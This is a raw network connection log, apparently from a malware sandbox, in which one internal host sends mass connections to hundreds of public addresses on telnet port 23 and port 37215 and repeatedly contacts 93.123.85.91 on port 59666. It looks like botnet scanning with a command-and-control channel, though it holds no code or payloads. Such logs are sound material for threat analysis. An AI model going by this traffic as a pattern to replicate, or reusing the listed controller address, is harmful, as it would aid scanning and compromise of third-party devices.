Jan 2, 2024 06:23:41.200048923 CET	24529	37215	192.168.2.23	41.193.52.161
Jan 2, 2024 06:23:41.200057030 CET	24529	37215	192.168.2.23	197.73.80.55
Jan 2, 2024 06:23:41.200057983 CET	24529	37215	192.168.2.23	156.50.95.199
Jan 2, 2024 06:23:41.200061083 CET	24529	37215	192.168.2.23	197.218.35.50
Jan 2, 2024 06:23:41.200086117 CET	24529	37215	192.168.2.23	197.135.45.206
Jan 2, 2024 06:23:41.200093985 CET	24529	37215	192.168.2.23	197.29.160.8
Jan 2, 2024 06:23:41.200093985 CET	24529	37215	192.168.2.23	156.213.32.1
Jan 2, 2024 06:23:41.200094938 CET	24529	37215	192.168.2.23	197.13.61.155
Jan 2, 2024 06:23:41.200094938 CET	24529	37215	192.168.2.23	41.59.44.163
Jan 2, 2024 06:23:41.200095892 CET	24529	37215	192.168.2.23	156.139.39.64
Jan 2, 2024 06:23:41.200095892 CET	24529	37215	192.168.2.23	41.222.163.5
Jan 2, 2024 06:23:41.200107098 CET	24529	37215	192.168.2.23	197.33.225.224
Jan 2, 2024 06:23:41.200109959 CET	24529	37215	192.168.2.23	156.181.98.163
Jan 2, 2024 06:23:41.200109959 CET	24529	37215	192.168.2.23	156.123.167.114
Jan 2, 2024 06:23:41.200124025 CET	24529	37215	192.168.2.23	41.238.2.121
Jan 2, 2024 06:23:41.200145006 CET	24529	37215	192.168.2.23	197.175.236.192
Jan 2, 2024 06:23:41.200145960 CET	24529	37215	192.168.2.23	41.72.247.141
Jan 2, 2024 06:23:41.200154066 CET	24529	37215	192.168.2.23	156.105.4.51
Jan 2, 2024 06:23:41.200160027 CET	24529	37215	192.168.2.23	41.61.219.180
Jan 2, 2024 06:23:41.200170040 CET	24529	37215	192.168.2.23	41.103.21.155
Jan 2, 2024 06:23:41.200170040 CET	24529	37215	192.168.2.23	156.154.209.64
Jan 2, 2024 06:23:41.200186968 CET	24529	37215	192.168.2.23	156.144.73.112
Jan 2, 2024 06:23:41.200187922 CET	24529	37215	192.168.2.23	41.120.77.15
Jan 2, 2024 06:23:41.200191975 CET	24529	37215	192.168.2.23	156.3.166.13
Jan 2, 2024 06:23:41.200200081 CET	24529	37215	192.168.2.23	156.53.20.130
Jan 2, 2024 06:23:41.200211048 CET	24529	37215	192.168.2.23	41.177.202.2
Jan 2, 2024 06:23:41.200221062 CET	24529	37215	192.168.2.23	41.220.5.48
Jan 2, 2024 06:23:41.200222969 CET	24529	37215	192.168.2.23	156.110.113.18
Jan 2, 2024 06:23:41.200233936 CET	24529	37215	192.168.2.23	197.62.107.251
Jan 2, 2024 06:23:41.200237036 CET	24529	37215	192.168.2.23	41.113.201.208
Jan 2, 2024 06:23:41.200252056 CET	24529	37215	192.168.2.23	41.17.218.121
Jan 2, 2024 06:23:41.200258970 CET	24529	37215	192.168.2.23	41.62.177.154
Jan 2, 2024 06:23:41.200257063 CET	24529	37215	192.168.2.23	156.8.91.204
Jan 2, 2024 06:23:41.200268030 CET	24529	37215	192.168.2.23	156.215.111.127
Jan 2, 2024 06:23:41.200288057 CET	24529	37215	192.168.2.23	197.188.76.62
Jan 2, 2024 06:23:41.200304985 CET	24529	37215	192.168.2.23	197.47.41.157
Jan 2, 2024 06:23:41.200305939 CET	24529	37215	192.168.2.23	41.151.51.251
Jan 2, 2024 06:23:41.200305939 CET	24529	37215	192.168.2.23	197.53.17.191
Jan 2, 2024 06:23:41.200321913 CET	24529	37215	192.168.2.23	156.113.27.79
Jan 2, 2024 06:23:41.200326920 CET	24529	37215	192.168.2.23	197.229.135.51
Jan 2, 2024 06:23:41.200335026 CET	24529	37215	192.168.2.23	41.27.123.211
Jan 2, 2024 06:23:41.200336933 CET	24529	37215	192.168.2.23	41.170.13.29
Jan 2, 2024 06:23:41.200336933 CET	24529	37215	192.168.2.23	197.201.217.89
Jan 2, 2024 06:23:41.200351954 CET	24529	37215	192.168.2.23	156.92.216.110
Jan 2, 2024 06:23:41.200356007 CET	24529	37215	192.168.2.23	156.52.16.104
Jan 2, 2024 06:23:41.200381041 CET	24529	37215	192.168.2.23	156.188.45.115
Jan 2, 2024 06:23:41.200392962 CET	24529	37215	192.168.2.23	197.250.162.189
Jan 2, 2024 06:23:41.200392962 CET	24529	37215	192.168.2.23	41.244.232.71
Jan 2, 2024 06:23:41.200395107 CET	24529	37215	192.168.2.23	197.198.54.179
Jan 2, 2024 06:23:41.200397968 CET	24529	37215	192.168.2.23	41.150.212.101
Jan 2, 2024 06:23:41.200397968 CET	24529	37215	192.168.2.23	41.80.219.140
Jan 2, 2024 06:23:41.200412989 CET	24529	37215	192.168.2.23	41.202.228.3
Jan 2, 2024 06:23:41.200421095 CET	24529	37215	192.168.2.23	156.101.51.11
Jan 2, 2024 06:23:41.200422049 CET	24529	37215	192.168.2.23	197.130.46.242
Jan 2, 2024 06:23:41.200422049 CET	24529	37215	192.168.2.23	156.155.114.170
Jan 2, 2024 06:23:41.200423002 CET	24529	37215	192.168.2.23	41.51.90.218
Jan 2, 2024 06:23:41.200437069 CET	24529	37215	192.168.2.23	156.242.112.202
Jan 2, 2024 06:23:41.200438023 CET	24529	37215	192.168.2.23	156.66.70.147
Jan 2, 2024 06:23:41.200464010 CET	24529	37215	192.168.2.23	156.18.202.143
Jan 2, 2024 06:23:41.200468063 CET	24529	37215	192.168.2.23	197.196.249.39
Jan 2, 2024 06:23:41.200480938 CET	24529	37215	192.168.2.23	156.210.0.135
Jan 2, 2024 06:23:41.200480938 CET	24529	37215	192.168.2.23	41.250.212.12
Jan 2, 2024 06:23:41.200481892 CET	24529	37215	192.168.2.23	197.220.157.177
Jan 2, 2024 06:23:41.200489044 CET	24529	37215	192.168.2.23	156.106.68.195
Jan 2, 2024 06:23:41.200491905 CET	24529	37215	192.168.2.23	41.239.116.88
Jan 2, 2024 06:23:41.200508118 CET	24529	37215	192.168.2.23	197.9.92.24
Jan 2, 2024 06:23:41.200512886 CET	24529	37215	192.168.2.23	156.12.226.127
Jan 2, 2024 06:23:41.200516939 CET	24529	37215	192.168.2.23	197.9.147.253
Jan 2, 2024 06:23:41.200516939 CET	24529	37215	192.168.2.23	156.230.177.211
Jan 2, 2024 06:23:41.200516939 CET	24529	37215	192.168.2.23	41.31.150.83
Jan 2, 2024 06:23:41.200521946 CET	24529	37215	192.168.2.23	41.124.35.83
Jan 2, 2024 06:23:41.200579882 CET	24529	37215	192.168.2.23	156.115.8.38
Jan 2, 2024 06:23:41.200588942 CET	24529	37215	192.168.2.23	41.157.86.190
Jan 2, 2024 06:23:41.302829027 CET	23	14265	198.46.190.152	192.168.2.23
Jan 2, 2024 06:23:41.313038111 CET	38570	59666	192.168.2.23	93.123.85.91
Jan 2, 2024 06:23:41.341312885 CET	23	14265	208.88.198.65	192.168.2.23
Jan 2, 2024 06:23:41.342418909 CET	23	14265	44.190.9.115	192.168.2.23
Jan 2, 2024 06:23:41.346960068 CET	80	18377	64.71.189.237	192.168.2.23
Jan 2, 2024 06:23:41.347002983 CET	18377	80	192.168.2.23	64.71.189.237
Jan 2, 2024 06:23:41.350548983 CET	23	14265	189.130.103.99	192.168.2.23
Jan 2, 2024 06:23:41.357083082 CET	37215	24529	156.96.216.124	192.168.2.23
Jan 2, 2024 06:23:41.426436901 CET	80	18377	52.105.34.38	192.168.2.23
Jan 2, 2024 06:23:41.426481962 CET	18377	80	192.168.2.23	52.105.34.38
Jan 2, 2024 06:23:41.435234070 CET	80	18377	109.74.12.27	192.168.2.23
Jan 2, 2024 06:23:41.435276031 CET	18377	80	192.168.2.23	109.74.12.27
Jan 2, 2024 06:23:41.437671900 CET	80	18377	149.202.168.223	192.168.2.23
Jan 2, 2024 06:23:41.439342976 CET	80	18377	84.242.78.92	192.168.2.23
Jan 2, 2024 06:23:41.439371109 CET	18377	80	192.168.2.23	84.242.78.92
Jan 2, 2024 06:23:41.443960905 CET	23	14265	126.234.158.13	192.168.2.23
Jan 2, 2024 06:23:41.447221994 CET	23	14265	116.220.99.141	192.168.2.23
Jan 2, 2024 06:23:41.461268902 CET	23	14265	45.75.3.207	192.168.2.23
Jan 2, 2024 06:23:41.466691017 CET	23	14265	116.236.115.42	192.168.2.23
Jan 2, 2024 06:23:41.466730118 CET	14265	23	192.168.2.23	116.236.115.42
Jan 2, 2024 06:23:41.476201057 CET	23	14265	196.68.169.100	192.168.2.23
Jan 2, 2024 06:23:41.481498003 CET	23	14265	211.192.122.136	192.168.2.23
Jan 2, 2024 06:23:41.481580019 CET	23	14265	175.235.90.206	192.168.2.23
Jan 2, 2024 06:23:41.493679047 CET	37215	24529	156.245.110.42	192.168.2.23
Jan 2, 2024 06:23:41.508575916 CET	37215	24529	156.226.22.51	192.168.2.23
Jan 2, 2024 06:23:41.517565012 CET	37215	24529	156.250.250.250	192.168.2.23
Jan 2, 2024 06:23:41.518042088 CET	23	14265	190.208.68.246	192.168.2.23
Jan 2, 2024 06:23:41.556188107 CET	37215	24529	41.57.17.130	192.168.2.23
Jan 2, 2024 06:23:41.611928940 CET	59666	38570	93.123.85.91	192.168.2.23
Jan 2, 2024 06:23:41.611985922 CET	38570	59666	192.168.2.23	93.123.85.91
Jan 2, 2024 06:23:41.612180948 CET	38570	59666	192.168.2.23	93.123.85.91
Jan 2, 2024 06:23:41.633744001 CET	37215	24529	197.9.92.24	192.168.2.23
Jan 2, 2024 06:23:41.874535084 CET	59666	38570	93.123.85.91	192.168.2.23
Jan 2, 2024 06:23:41.874572039 CET	38570	59666	192.168.2.23	93.123.85.91
Jan 2, 2024 06:23:42.116343021 CET	59666	38570	93.123.85.91	192.168.2.23
Jan 2, 2024 06:23:42.180723906 CET	14265	23	192.168.2.23	91.225.22.211
Jan 2, 2024 06:23:42.180725098 CET	14265	23	192.168.2.23	142.15.187.163
Jan 2, 2024 06:23:42.180727005 CET	14265	23	192.168.2.23	1.244.249.48
Jan 2, 2024 06:23:42.180725098 CET	14265	23	192.168.2.23	99.30.30.30
Jan 2, 2024 06:23:42.180727005 CET	14265	23	192.168.2.23	18.187.93.196
Jan 2, 2024 06:23:42.180727005 CET	14265	23	192.168.2.23	118.236.237.6
Jan 2, 2024 06:23:42.180727005 CET	14265	23	192.168.2.23	212.176.116.114
Jan 2, 2024 06:23:42.180736065 CET	14265	23	192.168.2.23	72.213.29.200
Jan 2, 2024 06:23:42.180736065 CET	14265	23	192.168.2.23	98.113.242.204
Jan 2, 2024 06:23:42.180737972 CET	14265	23	192.168.2.23	59.164.76.128
Jan 2, 2024 06:23:42.180737019 CET	14265	23	192.168.2.23	121.1.251.221
Jan 2, 2024 06:23:42.180737972 CET	14265	23	192.168.2.23	162.230.21.131
Jan 2, 2024 06:23:42.180736065 CET	14265	23	192.168.2.23	86.92.137.125
Jan 2, 2024 06:23:42.180737972 CET	14265	23	192.168.2.23	133.20.137.198
Jan 2, 2024 06:23:42.180736065 CET	14265	23	192.168.2.23	124.162.65.229
Jan 2, 2024 06:23:42.180753946 CET	14265	23	192.168.2.23	148.220.252.73
Jan 2, 2024 06:23:42.180753946 CET	14265	23	192.168.2.23	165.0.251.163
Jan 2, 2024 06:23:42.180762053 CET	14265	23	192.168.2.23	166.214.107.81
Jan 2, 2024 06:23:42.180763960 CET	14265	23	192.168.2.23	168.151.198.80
Jan 2, 2024 06:23:42.180763960 CET	14265	23	192.168.2.23	161.162.192.238
Jan 2, 2024 06:23:42.180768967 CET	14265	23	192.168.2.23	38.172.150.229
Jan 2, 2024 06:23:42.180768967 CET	14265	23	192.168.2.23	117.141.231.160
Jan 2, 2024 06:23:42.180768967 CET	14265	23	192.168.2.23	96.200.74.181
Jan 2, 2024 06:23:42.180768967 CET	14265	23	192.168.2.23	103.39.127.99
Jan 2, 2024 06:23:42.180768967 CET	14265	23	192.168.2.23	120.217.24.107
Jan 2, 2024 06:23:42.180785894 CET	14265	23	192.168.2.23	159.144.51.164
Jan 2, 2024 06:23:42.180785894 CET	14265	23	192.168.2.23	173.227.167.153
Jan 2, 2024 06:23:42.180785894 CET	14265	23	192.168.2.23	1.97.128.95
Jan 2, 2024 06:23:42.180785894 CET	14265	23	192.168.2.23	99.88.151.162
Jan 2, 2024 06:23:42.180785894 CET	14265	23	192.168.2.23	181.9.54.33
Jan 2, 2024 06:23:42.180789948 CET	14265	23	192.168.2.23	9.193.90.103
Jan 2, 2024 06:23:42.180794001 CET	14265	23	192.168.2.23	169.214.174.52
Jan 2, 2024 06:23:42.180794001 CET	14265	23	192.168.2.23	52.162.158.143
Jan 2, 2024 06:23:42.180797100 CET	14265	23	192.168.2.23	14.143.66.163
Jan 2, 2024 06:23:42.180803061 CET	14265	23	192.168.2.23	179.86.213.226
Jan 2, 2024 06:23:42.180804968 CET	14265	23	192.168.2.23	188.192.63.237
Jan 2, 2024 06:23:42.180805922 CET	14265	23	192.168.2.23	195.235.41.211
Jan 2, 2024 06:23:42.180805922 CET	14265	23	192.168.2.23	194.12.116.200
Jan 2, 2024 06:23:42.180807114 CET	14265	23	192.168.2.23	71.241.87.1
Jan 2, 2024 06:23:42.180805922 CET	14265	23	192.168.2.23	126.14.240.159
Jan 2, 2024 06:23:42.180807114 CET	14265	23	192.168.2.23	91.163.195.243
Jan 2, 2024 06:23:42.180805922 CET	14265	23	192.168.2.23	126.93.98.95
Jan 2, 2024 06:23:42.180808067 CET	14265	23	192.168.2.23	42.160.100.54
Jan 2, 2024 06:23:42.180805922 CET	14265	23	192.168.2.23	151.22.187.4
Jan 2, 2024 06:23:42.180808067 CET	14265	23	192.168.2.23	149.85.106.228
Jan 2, 2024 06:23:42.180805922 CET	14265	23	192.168.2.23	171.229.139.111
Jan 2, 2024 06:23:42.180808067 CET	14265	23	192.168.2.23	125.18.89.189
Jan 2, 2024 06:23:42.180808067 CET	14265	23	192.168.2.23	173.213.215.100
Jan 2, 2024 06:23:42.180811882 CET	14265	23	192.168.2.23	145.205.254.199
Jan 2, 2024 06:23:42.180808067 CET	14265	23	192.168.2.23	142.166.230.4
Jan 2, 2024 06:23:42.180809021 CET	14265	23	192.168.2.23	45.125.145.77
Jan 2, 2024 06:23:42.180809021 CET	14265	23	192.168.2.23	71.83.232.221
Jan 2, 2024 06:23:42.180818081 CET	14265	23	192.168.2.23	68.117.138.25
Jan 2, 2024 06:23:42.180819988 CET	14265	23	192.168.2.23	154.155.154.54
Jan 2, 2024 06:23:42.180826902 CET	14265	23	192.168.2.23	134.197.66.206
Jan 2, 2024 06:23:42.180826902 CET	14265	23	192.168.2.23	160.214.228.41
Jan 2, 2024 06:23:42.180828094 CET	14265	23	192.168.2.23	20.144.109.69
Jan 2, 2024 06:23:42.180834055 CET	14265	23	192.168.2.23	183.8.5.19
Jan 2, 2024 06:23:42.180834055 CET	14265	23	192.168.2.23	174.65.64.12
Jan 2, 2024 06:23:42.180834055 CET	14265	23	192.168.2.23	116.158.223.215
Jan 2, 2024 06:23:42.180834055 CET	14265	23	192.168.2.23	114.238.6.80
Jan 2, 2024 06:23:42.180834055 CET	14265	23	192.168.2.23	59.108.124.8
Jan 2, 2024 06:23:42.180839062 CET	14265	23	192.168.2.23	72.1.211.55
Jan 2, 2024 06:23:42.180844069 CET	14265	23	192.168.2.23	69.13.12.58
Jan 2, 2024 06:23:42.180851936 CET	14265	23	192.168.2.23	89.199.251.149
Jan 2, 2024 06:23:42.180852890 CET	14265	23	192.168.2.23	46.199.184.2
Jan 2, 2024 06:23:42.180854082 CET	14265	23	192.168.2.23	182.192.111.248
Jan 2, 2024 06:23:42.180855989 CET	14265	23	192.168.2.23	1.177.125.232
Jan 2, 2024 06:23:42.180855989 CET	14265	23	192.168.2.23	165.215.242.152
Jan 2, 2024 06:23:42.180860043 CET	14265	23	192.168.2.23	64.9.225.127
Jan 2, 2024 06:23:42.180862904 CET	14265	23	192.168.2.23	167.169.130.107
Jan 2, 2024 06:23:42.180867910 CET	14265	23	192.168.2.23	95.109.215.134
Jan 2, 2024 06:23:42.180871964 CET	14265	23	192.168.2.23	139.17.99.106
Jan 2, 2024 06:23:42.180871964 CET	14265	23	192.168.2.23	133.9.154.105
Jan 2, 2024 06:23:42.180871964 CET	14265	23	192.168.2.23	87.34.199.141
Jan 2, 2024 06:23:42.180871964 CET	14265	23	192.168.2.23	198.60.135.29
Jan 2, 2024 06:23:42.180871964 CET	14265	23	192.168.2.23	174.144.20.163
Jan 2, 2024 06:23:42.180872917 CET	14265	23	192.168.2.23	62.123.195.87
Jan 2, 2024 06:23:42.180876017 CET	14265	23	192.168.2.23	163.223.167.107
Jan 2, 2024 06:23:42.180883884 CET	14265	23	192.168.2.23	135.241.80.114
Jan 2, 2024 06:23:42.180883884 CET	14265	23	192.168.2.23	154.99.204.205
Jan 2, 2024 06:23:42.180888891 CET	14265	23	192.168.2.23	153.156.9.175
Jan 2, 2024 06:23:42.180891991 CET	14265	23	192.168.2.23	103.128.203.138
Jan 2, 2024 06:23:42.180893898 CET	14265	23	192.168.2.23	53.7.124.64
Jan 2, 2024 06:23:42.180895090 CET	14265	23	192.168.2.23	136.140.39.77
Jan 2, 2024 06:23:42.180895090 CET	14265	23	192.168.2.23	174.209.177.106
Jan 2, 2024 06:23:42.180895090 CET	14265	23	192.168.2.23	65.18.211.252
Jan 2, 2024 06:23:42.180895090 CET	14265	23	192.168.2.23	177.230.133.74
Jan 2, 2024 06:23:42.180895090 CET	14265	23	192.168.2.23	223.139.141.180
Jan 2, 2024 06:23:42.180913925 CET	14265	23	192.168.2.23	87.163.106.81
Jan 2, 2024 06:23:42.180913925 CET	14265	23	192.168.2.23	39.76.144.131
Jan 2, 2024 06:23:42.180916071 CET	14265	23	192.168.2.23	83.188.99.17
Jan 2, 2024 06:23:42.180916071 CET	14265	23	192.168.2.23	202.60.240.100
Jan 2, 2024 06:23:42.180916071 CET	14265	23	192.168.2.23	118.56.184.63
Jan 2, 2024 06:23:42.180918932 CET	14265	23	192.168.2.23	108.187.224.88
Jan 2, 2024 06:23:42.180922031 CET	14265	23	192.168.2.23	91.170.179.148
Jan 2, 2024 06:23:42.180922031 CET	14265	23	192.168.2.23	62.41.78.31
Jan 2, 2024 06:23:42.180922031 CET	14265	23	192.168.2.23	103.90.41.94
Jan 2, 2024 06:23:42.180922985 CET	14265	23	192.168.2.23	74.11.42.41
Jan 2, 2024 06:23:42.180927992 CET	14265	23	192.168.2.23	217.202.220.30
Jan 2, 2024 06:23:42.180931091 CET	14265	23	192.168.2.23	167.171.150.147
Jan 2, 2024 06:23:42.180931091 CET	14265	23	192.168.2.23	169.98.235.243
Jan 2, 2024 06:23:42.180931091 CET	14265	23	192.168.2.23	66.15.189.144
Jan 2, 2024 06:23:42.180933952 CET	14265	23	192.168.2.23	84.65.154.39
Jan 2, 2024 06:23:42.180937052 CET	14265	23	192.168.2.23	187.190.141.78
Jan 2, 2024 06:23:42.180938959 CET	14265	23	192.168.2.23	108.36.92.43
Jan 2, 2024 06:23:42.180947065 CET	14265	23	192.168.2.23	148.20.185.147
Jan 2, 2024 06:23:42.180954933 CET	14265	23	192.168.2.23	140.135.81.28
Jan 2, 2024 06:23:42.180954933 CET	14265	23	192.168.2.23	78.84.208.154
Jan 2, 2024 06:23:42.180955887 CET	14265	23	192.168.2.23	52.154.90.80
Jan 2, 2024 06:23:42.180954933 CET	14265	23	192.168.2.23	103.32.168.188
Jan 2, 2024 06:23:42.180962086 CET	14265	23	192.168.2.23	196.43.204.62
Jan 2, 2024 06:23:42.180963039 CET	14265	23	192.168.2.23	12.46.182.172
Jan 2, 2024 06:23:42.180963039 CET	14265	23	192.168.2.23	32.225.173.132
Jan 2, 2024 06:23:42.180969000 CET	14265	23	192.168.2.23	63.70.118.95
Jan 2, 2024 06:23:42.180970907 CET	14265	23	192.168.2.23	118.156.91.2
Jan 2, 2024 06:23:42.180970907 CET	14265	23	192.168.2.23	20.219.130.143
Jan 2, 2024 06:23:42.180970907 CET	14265	23	192.168.2.23	122.3.83.75
Jan 2, 2024 06:23:42.180973053 CET	14265	23	192.168.2.23	90.196.214.69
Jan 2, 2024 06:23:42.180975914 CET	14265	23	192.168.2.23	50.73.89.243
Jan 2, 2024 06:23:42.180979013 CET	14265	23	192.168.2.23	175.10.7.167
Jan 2, 2024 06:23:42.180979967 CET	14265	23	192.168.2.23	155.166.184.69
Jan 2, 2024 06:23:42.180979967 CET	14265	23	192.168.2.23	94.194.51.200
Jan 2, 2024 06:23:42.180989981 CET	14265	23	192.168.2.23	38.64.222.96
Jan 2, 2024 06:23:42.180989981 CET	14265	23	192.168.2.23	42.190.81.75
Jan 2, 2024 06:23:42.180991888 CET	14265	23	192.168.2.23	204.226.223.174
Jan 2, 2024 06:23:42.180991888 CET	14265	23	192.168.2.23	182.180.245.26
Jan 2, 2024 06:23:42.180991888 CET	14265	23	192.168.2.23	222.32.19.73
Jan 2, 2024 06:23:42.180994987 CET	14265	23	192.168.2.23	140.220.204.64
Jan 2, 2024 06:23:42.180994987 CET	14265	23	192.168.2.23	85.182.167.147
Jan 2, 2024 06:23:42.180995941 CET	14265	23	192.168.2.23	77.189.80.79
Jan 2, 2024 06:23:42.181004047 CET	14265	23	192.168.2.23	17.228.255.109
Jan 2, 2024 06:23:42.181004047 CET	14265	23	192.168.2.23	67.239.47.135
Jan 2, 2024 06:23:42.181004047 CET	14265	23	192.168.2.23	8.165.101.14
Jan 2, 2024 06:23:42.181004047 CET	14265	23	192.168.2.23	48.155.73.210
Jan 2, 2024 06:23:42.181010008 CET	14265	23	192.168.2.23	117.186.219.120
Jan 2, 2024 06:23:42.181010008 CET	14265	23	192.168.2.23	95.23.146.71
Jan 2, 2024 06:23:42.181010008 CET	14265	23	192.168.2.23	168.151.181.96
Jan 2, 2024 06:23:42.181013107 CET	14265	23	192.168.2.23	124.68.223.138
Jan 2, 2024 06:23:42.181013107 CET	14265	23	192.168.2.23	67.2.24.31
Jan 2, 2024 06:23:42.181014061 CET	14265	23	192.168.2.23	13.20.64.253
Jan 2, 2024 06:23:42.181013107 CET	14265	23	192.168.2.23	100.61.150.73
Jan 2, 2024 06:23:42.181014061 CET	14265	23	192.168.2.23	95.200.133.214
Jan 2, 2024 06:23:42.181015015 CET	14265	23	192.168.2.23	180.10.103.46
Jan 2, 2024 06:23:42.181024075 CET	14265	23	192.168.2.23	128.157.83.199
Jan 2, 2024 06:23:42.181025982 CET	14265	23	192.168.2.23	165.167.131.196
Jan 2, 2024 06:23:42.181025982 CET	14265	23	192.168.2.23	223.197.85.21
Jan 2, 2024 06:23:42.181029081 CET	14265	23	192.168.2.23	219.161.219.18
Jan 2, 2024 06:23:42.181035995 CET	14265	23	192.168.2.23	67.112.27.104
Jan 2, 2024 06:23:42.181035995 CET	14265	23	192.168.2.23	20.254.164.108
Jan 2, 2024 06:23:42.181035995 CET	14265	23	192.168.2.23	91.99.165.184
Jan 2, 2024 06:23:42.181035995 CET	14265	23	192.168.2.23	174.201.26.90
Jan 2, 2024 06:23:42.181037903 CET	14265	23	192.168.2.23	76.140.249.54
Jan 2, 2024 06:23:42.181041002 CET	14265	23	192.168.2.23	130.230.222.43
Jan 2, 2024 06:23:42.181041002 CET	14265	23	192.168.2.23	162.40.6.185
Jan 2, 2024 06:23:42.181047916 CET	14265	23	192.168.2.23	220.115.190.11
Jan 2, 2024 06:23:42.181054115 CET	14265	23	192.168.2.23	177.87.63.137
Jan 2, 2024 06:23:42.181056976 CET	14265	23	192.168.2.23	79.79.57.213
Jan 2, 2024 06:23:42.181056976 CET	14265	23	192.168.2.23	177.137.255.207
Jan 2, 2024 06:23:42.181056976 CET	14265	23	192.168.2.23	66.135.10.8
Jan 2, 2024 06:23:42.181063890 CET	14265	23	192.168.2.23	108.196.246.94
Jan 2, 2024 06:23:42.181066036 CET	14265	23	192.168.2.23	202.148.76.194
Jan 2, 2024 06:23:42.181066990 CET	14265	23	192.168.2.23	65.99.1.167
Jan 2, 2024 06:23:42.181066990 CET	14265	23	192.168.2.23	31.112.69.245
Jan 2, 2024 06:23:42.181066990 CET	14265	23	192.168.2.23	160.189.27.54
Jan 2, 2024 06:23:42.181066990 CET	14265	23	192.168.2.23	221.236.176.180
Jan 2, 2024 06:23:42.181066990 CET	14265	23	192.168.2.23	106.210.184.67
Jan 2, 2024 06:23:42.181072950 CET	14265	23	192.168.2.23	36.181.117.103
Jan 2, 2024 06:23:42.181078911 CET	14265	23	192.168.2.23	198.82.109.233
Jan 2, 2024 06:23:42.181081057 CET	14265	23	192.168.2.23	128.30.79.161
Jan 2, 2024 06:23:42.181081057 CET	14265	23	192.168.2.23	150.5.235.146
Jan 2, 2024 06:23:42.181081057 CET	14265	23	192.168.2.23	2.214.70.177
Jan 2, 2024 06:23:42.181082964 CET	14265	23	192.168.2.23	58.120.49.29
Jan 2, 2024 06:23:42.181090117 CET	14265	23	192.168.2.23	154.100.2.186
Jan 2, 2024 06:23:42.181090117 CET	14265	23	192.168.2.23	183.221.216.202
Jan 2, 2024 06:23:42.181090117 CET	14265	23	192.168.2.23	88.63.229.196
Jan 2, 2024 06:23:42.181091070 CET	14265	23	192.168.2.23	207.33.164.96
Jan 2, 2024 06:23:42.181091070 CET	14265	23	192.168.2.23	75.72.253.151
Jan 2, 2024 06:23:42.181094885 CET	14265	23	192.168.2.23	128.200.150.0
Jan 2, 2024 06:23:42.181094885 CET	14265	23	192.168.2.23	93.98.220.177
Jan 2, 2024 06:23:42.181097031 CET	14265	23	192.168.2.23	57.193.70.71
Jan 2, 2024 06:23:42.181097031 CET	14265	23	192.168.2.23	46.227.209.46
Jan 2, 2024 06:23:42.181097031 CET	14265	23	192.168.2.23	145.73.3.117
Jan 2, 2024 06:23:42.181103945 CET	14265	23	192.168.2.23	128.19.158.246
Jan 2, 2024 06:23:42.181107998 CET	14265	23	192.168.2.23	194.168.160.137
Jan 2, 2024 06:23:42.181107998 CET	14265	23	192.168.2.23	139.29.243.242
Jan 2, 2024 06:23:42.181117058 CET	14265	23	192.168.2.23	37.32.16.108
Jan 2, 2024 06:23:42.181122065 CET	14265	23	192.168.2.23	118.143.103.4
Jan 2, 2024 06:23:42.181122065 CET	14265	23	192.168.2.23	44.211.76.220
Jan 2, 2024 06:23:42.181123972 CET	14265	23	192.168.2.23	153.73.19.208
Jan 2, 2024 06:23:42.181123972 CET	14265	23	192.168.2.23	13.150.79.234
Jan 2, 2024 06:23:42.181126118 CET	14265	23	192.168.2.23	86.79.76.233
Jan 2, 2024 06:23:42.181126118 CET	14265	23	192.168.2.23	51.153.63.45
Jan 2, 2024 06:23:42.181126118 CET	14265	23	192.168.2.23	103.156.161.139
Jan 2, 2024 06:23:42.181126118 CET	14265	23	192.168.2.23	106.171.207.204
Jan 2, 2024 06:23:42.181126118 CET	14265	23	192.168.2.23	157.37.104.164
Jan 2, 2024 06:23:42.181138992 CET	14265	23	192.168.2.23	87.130.22.62
Jan 2, 2024 06:23:42.181139946 CET	14265	23	192.168.2.23	40.96.153.12
Jan 2, 2024 06:23:42.181142092 CET	14265	23	192.168.2.23	120.55.82.8
Jan 2, 2024 06:23:42.181142092 CET	14265	23	192.168.2.23	87.128.184.172
Jan 2, 2024 06:23:42.181139946 CET	14265	23	192.168.2.23	48.227.120.3
Jan 2, 2024 06:23:42.181143045 CET	14265	23	192.168.2.23	110.105.158.248
Jan 2, 2024 06:23:42.181138992 CET	14265	23	192.168.2.23	209.200.0.194
Jan 2, 2024 06:23:42.181142092 CET	14265	23	192.168.2.23	31.3.29.218
Jan 2, 2024 06:23:42.181143045 CET	14265	23	192.168.2.23	57.190.214.28
Jan 2, 2024 06:23:42.181139946 CET	14265	23	192.168.2.23	4.152.10.211
Jan 2, 2024 06:23:42.181143045 CET	14265	23	192.168.2.23	123.152.39.220
Jan 2, 2024 06:23:42.181142092 CET	14265	23	192.168.2.23	98.108.109.47
Jan 2, 2024 06:23:42.181150913 CET	14265	23	192.168.2.23	58.102.59.230
Jan 2, 2024 06:23:42.181150913 CET	14265	23	192.168.2.23	151.21.84.10
Jan 2, 2024 06:23:42.181153059 CET	14265	23	192.168.2.23	74.203.182.19
Jan 2, 2024 06:23:42.181154013 CET	14265	23	192.168.2.23	42.173.138.213
Jan 2, 2024 06:23:42.181155920 CET	14265	23	192.168.2.23	66.152.193.86
Jan 2, 2024 06:23:42.181174994 CET	14265	23	192.168.2.23	125.253.10.169
Jan 2, 2024 06:23:42.181174994 CET	14265	23	192.168.2.23	150.35.100.151
Jan 2, 2024 06:23:42.181178093 CET	14265	23	192.168.2.23	220.94.131.46
Jan 2, 2024 06:23:42.181178093 CET	14265	23	192.168.2.23	38.7.148.128
Jan 2, 2024 06:23:42.181178093 CET	14265	23	192.168.2.23	105.110.193.67
Jan 2, 2024 06:23:42.181179047 CET	14265	23	192.168.2.23	96.76.211.219
Jan 2, 2024 06:23:42.181179047 CET	14265	23	192.168.2.23	132.113.125.9
Jan 2, 2024 06:23:42.181185007 CET	14265	23	192.168.2.23	121.124.126.110
Jan 2, 2024 06:23:42.181186914 CET	14265	23	192.168.2.23	130.137.108.13
Jan 2, 2024 06:23:42.181186914 CET	14265	23	192.168.2.23	137.46.225.93
Jan 2, 2024 06:23:42.181186914 CET	14265	23	192.168.2.23	137.136.190.72
Jan 2, 2024 06:23:42.181190968 CET	14265	23	192.168.2.23	59.114.26.211
Jan 2, 2024 06:23:42.181190968 CET	14265	23	192.168.2.23	136.59.213.228
Jan 2, 2024 06:23:42.181190968 CET	14265	23	192.168.2.23	170.137.159.74
Jan 2, 2024 06:23:42.181196928 CET	14265	23	192.168.2.23	197.90.120.46
Jan 2, 2024 06:23:42.181196928 CET	14265	23	192.168.2.23	20.232.42.17
Jan 2, 2024 06:23:42.181206942 CET	14265	23	192.168.2.23	103.139.95.38
